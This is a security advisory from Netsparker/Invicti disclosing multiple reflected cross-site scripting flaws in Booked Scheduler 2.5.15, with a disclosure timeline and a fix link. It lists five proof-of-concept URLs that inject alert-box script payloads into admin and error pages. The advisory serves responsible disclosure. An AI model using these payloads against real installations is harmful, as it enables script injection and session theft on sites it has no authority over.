Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Booked Scheduler 2.5.15
Affected Software: Booked Scheduler
Affected Versions: 2.5.15 and possibly below
Vendor Homepage: https://www.bookedscheduler.com  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-15-017

Technical Details
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Proof of Concept URLs for XSS in Booked Scheduler 2.5.15:

Url /phpsch/Web/admin/manage_groups.php?'"--></style></scRipt><scRipt>alert(0x000B0C)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000B0C)</scRipt>

Url /phpsch/Web/admin/manage_groups.php?'"--></style></scRipt><scRipt>alert(0x000B0C)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000B0C)</scRipt>

Url /phpsch/Web/admin/manage_reservations.php?'"--></style></scRipt><scRipt>alert(0x000A0E)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000A0E)</scRipt>

Url /phpsch/Web/admin/manage_reservations.php/'"--></style></scRipt><scRipt>alert(0x0009FC)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x0009FC)</scRipt>

Url /phpsch/Web/error.php?mid=1&redirect='"--></style></scRipt><scRipt>alert(0x006C26)</scRipt>
Parameter Name redirect
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x006C26)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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15/09/2015 - First Contact
24/09/2015 - Vendor Fixed
09/11/2015 - Advisory Released

Solution
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https://sourceforge.net/projects/phpscheduleit/files/latest/download 

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.